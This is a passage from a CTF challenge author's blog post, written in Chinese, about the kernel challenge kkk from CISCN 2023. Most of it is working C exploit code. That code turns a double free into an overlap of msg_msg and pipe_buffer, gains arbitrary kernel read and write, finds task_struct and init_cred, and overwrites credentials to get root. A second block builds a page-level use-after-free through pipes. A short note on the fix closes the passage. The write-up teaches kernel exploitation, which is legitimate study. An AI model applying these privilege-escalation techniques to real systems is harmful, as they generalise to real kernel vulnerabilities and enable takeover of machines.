void construct_uaf_on_msg_and_pipe(void)
{
struct msg_hdr *msg;
size_t checksum;
int ret;
char *buf;

msqid = get_msg_queue();

msg = malloc(0x200);
memset(msg, 'A', sizeof(*msg));
set_msg_hdr(msg, TYPE_REQUEST, CMD_ENCRYPT_TEA, 0, 0, 160 - sizeof(*msg));

/* prepare the pipes in advance */
pipe(rw_pipe);

/**
* trigger double free to make pipe_buffer and msg_seg the same object.
* note that we should write and read the pipe in advance, so that it won't
* use the pipe_buffer[0], which will lead to an invalid msg_seg
*/
kkk_send_msg(dev_fd, msg);
sleep(2);
if (kkk_recv_msg(dev_fd, (struct msg_hdr *) 0xbeefedead0) < 0) {
printf("[=] errno: %d\n", errno);
}
fcntl(rw_pipe[0], F_SETPIPE_SZ, 0x1000 * 4);
write(rw_pipe[1], "arttnba3", 8);
read(rw_pipe[0], &checksum, 8);
write(rw_pipe[1], "arttnba3", 8);

if (kkk_recv_msg(dev_fd, (struct msg_hdr *) 0xdeadbeef0) < 0) {
printf("[=] errno: %d\n", errno);
}
write_msg(msqid, msg_buf, 0x1000 + 160 - sizeof(struct msg_msg) - 8, 0x41);

write(rw_pipe[1], "arttnba3", 8);

peek_msg(msqid, msg_buf, 0x1000 + 160 - sizeof(struct msg_msg) - 8, 0);
pipe_buf = (size_t*) ((size_t) msg_buf + 0x1000 - sizeof(struct msg_msg));
if (pipe_buf[12] < 0xffffffff81000000) {
err_exit("FAILED to make UAF on pipe!");
}
pipe_ops = pipe_buf[12];

puts("\033[32m\033[1m[+] Successfully build UAF pipe_buffer!\033[0m");
printf("\033[34m\033[1m[*] Page: \033[0m%lx ", pipe_buf[10]);
printf("\033[34m\033[1m, ops: \033[0m%lx\n", pipe_ops);
}

struct pipe_buffer *fake_buf;

void arbitrary_read_by_pipe(size_t page_addr, void *buf)
{
fake_buf = (struct pipe_buffer*) &pipe_buf[5];
read_msg(msqid, msg_buf, 0x1000 + 160 - sizeof(struct msg_msg) - 8, 0x41);

fake_buf->page = (struct page*) page_addr;
fake_buf->len = 0x1ff8;
fake_buf->offset = 0;
fake_buf->ops = (struct pipe_buf_operations*) pipe_ops;

write_msg(msqid, msg_buf, 0x1000 + 160 - sizeof(struct msg_msg) - 8, 0x41);

read(rw_pipe[0], buf, 0xfff);
}

void arbitrary_write_by_pipe(size_t page_addr, void *buf, size_t len)
{
fake_buf = (struct pipe_buffer*) &pipe_buf[10];
read_msg(msqid, msg_buf, 0x1000 + 160 - sizeof(struct msg_msg) - 8, 0x41);

fake_buf->page = (struct page*) page_addr;
fake_buf->len = 0;
fake_buf->offset = 0;
fake_buf->ops = (struct pipe_buf_operations*) pipe_ops;

write_msg(msqid, msg_buf, 0x1000 + 160 - sizeof(struct msg_msg) - 8, 0x41);

len = len > 0xffe ? 0xffe : len;

write(rw_pipe[1], buf, len);
}

size_t data_buf[0x1000], *tsk_buf, current_task_page, current_task, parent_task;

void seek_current_task_struct(void)
{
size_t *comm_addr;

vmemmap_base = pipe_buf[10] & 0xfffffffff0000000;

printf("\033[32m\033[1m[+] vmemmap_base:\033[0m 0x%lx\n\n", vmemmap_base);

/* now seeking for the task_struct in kernel memory */
puts("[*] Seeking task_struct in memory...");

prctl(PR_SET_NAME, "arttnba3pwnn");

for (int i = 0; 1; i++) {
arbitrary_read_by_pipe(vmemmap_base + i * 0x40, data_buf);

comm_addr = memmem(data_buf, 0xf00, "arttnba3pwnn", 12);
if (comm_addr && (comm_addr[-2] > 0xffff888000000000) /* task->cred */
&& (comm_addr[-3] > 0xffff888000000000) /* task->real_cred */
&& (comm_addr[-61] > 0xffff888000000000) /* task->read_parent */
&& (comm_addr[-60] > 0xffff888000000000)) { /* task->parent */

/* task->read_parent */
parent_task = comm_addr[-61];

/* task_struct::ptraced */
current_task = comm_addr[-54] - 2528;

page_offset_base = (comm_addr[-54]&0xfffffffffffff000) - i * 0x1000;
page_offset_base &= 0xfffffffff0000000;

printf("\033[32m\033[1m[+] Found task_struct on page: \033[0m%lx\n",
(vmemmap_base + i * 0x40));
printf("\033[32m\033[1m[+] page_offset_base: \033[0m0x%lx\n",
page_offset_base);
printf("\033[34m\033[1m[*] current task_struct's addr: \033[0m"
"0x%lx\n\n", current_task);
break;
}
}
}

void privilege_escalation_by_task_overwrite(void)
{
/* finding the init_task, the final parent of every task */
puts("[*] Seeking for init_task...");

for (;;) {
size_t ptask_page_addr = direct_map_addr_to_page_addr(parent_task);

tsk_buf = (size_t*) ((size_t) data_buf + (parent_task & 0xfff));

arbitrary_read_by_pipe(ptask_page_addr, data_buf);
arbitrary_read_by_pipe(ptask_page_addr+0x40, &data_buf[512]);

/* task_struct::real_parent */
if (parent_task == tsk_buf[309]) {
break;
}

parent_task = tsk_buf[309];
}

init_task = parent_task;
init_cred = tsk_buf[367];
init_nsproxy = tsk_buf[381];

printf("\033[32m\033[1m[+] Found init_task: \033[0m0x%lx\n", init_task);
printf("\033[32m\033[1m[+] Found init_cred: \033[0m0x%lx\n", init_cred);
printf("\033[32m\033[1m[+] Found init_nsproxy:\033[0m0x%lx\n",init_nsproxy);

/* now, changing the current task_struct to get the full root :) */
puts("[*] Escalating ROOT privilege now...");

current_task_page = direct_map_addr_to_page_addr(current_task);

arbitrary_read_by_pipe(current_task_page, data_buf);
arbitrary_read_by_pipe(current_task_page + 0x40, &data_buf[512]);

tsk_buf = (size_t*) ((size_t) data_buf + (current_task & 0xfff));
tsk_buf[367] = init_cred;
tsk_buf[368] = init_cred;
tsk_buf[381] = init_nsproxy;

arbitrary_write_by_pipe(current_task_page, data_buf, 0xff0);
arbitrary_write_by_pipe(current_task_page + 0x40, &data_buf[512], 0xff0);

puts("[+] Done.\n");
}

int main(int argc, char **argv, char **envp)
{
save_status();
bind_core(0);

dev_fd = open("/dev/kkk", O_RDWR);
if (dev_fd < 0) {
err_exit("FAILED to open /dev/kkk!");
}

construct_uaf_on_msg_and_pipe();
seek_current_task_struct();
privilege_escalation_by_task_overwrite();
get_root_shell();

return 0;
}

运行即可完成提权:

image.png

笔者也不记得该编译选项是否默认开启了,若未开启该编译选项,则仍可以直接构造 page-level UAF,以笔者去年出的题目 d3kheap 为例,可以通过如下方式完成 page UAF 的构造,细节参见注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#define SECOND_LEVEL_PIPE_NUM 0x100

int victim_pipe[2], vuln_pipe[2], holder_pipe[2];
int second_level_pipe[SECOND_LEVEL_PIPE_NUM][2];
size_t pipe_buf[0x1000];

void construct_page_uaf_with_pipe(void)
{
size_t checksum;

memset(pipe_buf, 'A', sizeof(pipe_buf));
for (int i = 0; i < SECOND_LEVEL_PIPE_NUM; i++) {
pipe(second_level_pipe[i]);
}

/* make two pipes point to the same buffer */
add();
del();
pipe(victim_pipe);

del();
pipe(vuln_pipe);

/* init pipe->head and pipe->tail, allocate page on buffer */
write(victim_pipe[1], "rat3bant", 8);
write(vuln_pipe[1], "arttnba3", 8);

/* migrate to another buffer, now we have two bufs point on the same page */
fcntl(vuln_pipe[0], F_SETPIPE_SZ, 0x1000 * 4);
write(vuln_pipe[1], pipe_buf, 0x800); /* pre-write for later read */

read(vuln_pipe[0], &checksum, 8);
if (checksum != *(size_t*) "arttnba3") {
printf("[x] Get checksum: %lx\n", checksum);
err_exit("two pipe didn't share the same page!");
}

/* now the page is reclaimed to pipe->tmp_page */
read(victim_pipe[0], &checksum, 8);
if (checksum != *(size_t*) "arttnba3") {
printf("[x] Get checksum: %lx\n", checksum);
err_exit("Pipe is corrupted!");
}

/* avoid double free dtection */
pipe(holder_pipe);

/* free pipe->tmp_page */
close(victim_pipe[1]);
close(victim_pipe[0]);

/* allocate UAF page as slub page */
for (int i = 0; i < SECOND_LEVEL_PIPE_NUM; i++) {
fcntl(second_level_pipe[i][0], F_SETPIPE_SZ, 0x1000 * 2);
}

/* init pipe bufs on UAF page */
for (int i = 0; i < SECOND_LEVEL_PIPE_NUM; i++) {
write(second_level_pipe[i][1], "arttnba3", 8);
}

/* enjoy page-level UAF now :) */
read(vuln_pipe[0], pipe_buf, 0x700);

for (int i = 0; i < (0x700 / 8); i++) {
printf("[----data dump----][%d] %lx\n", i, pipe_buf[i]);
}
}

漏洞修复

漏洞修复其实比较简单,只需要把读取失败的基本块的跳转目标改到 kfree() 之后即可:

image.png

image.png

0x03. 总结

感觉好像也没有什么好总结的…比较没啥亮点的两道套路题罢了…

image.png


【CTF.0x09】CISCN 2023 华东北分区赛 minidb、kkk 出题手记
https://arttnba3.github.io/2023/07/14/CTF-0X09_CISCN_2023_HDBFQS/
作者
arttnba3
发布于
2023年7月14日
许可协议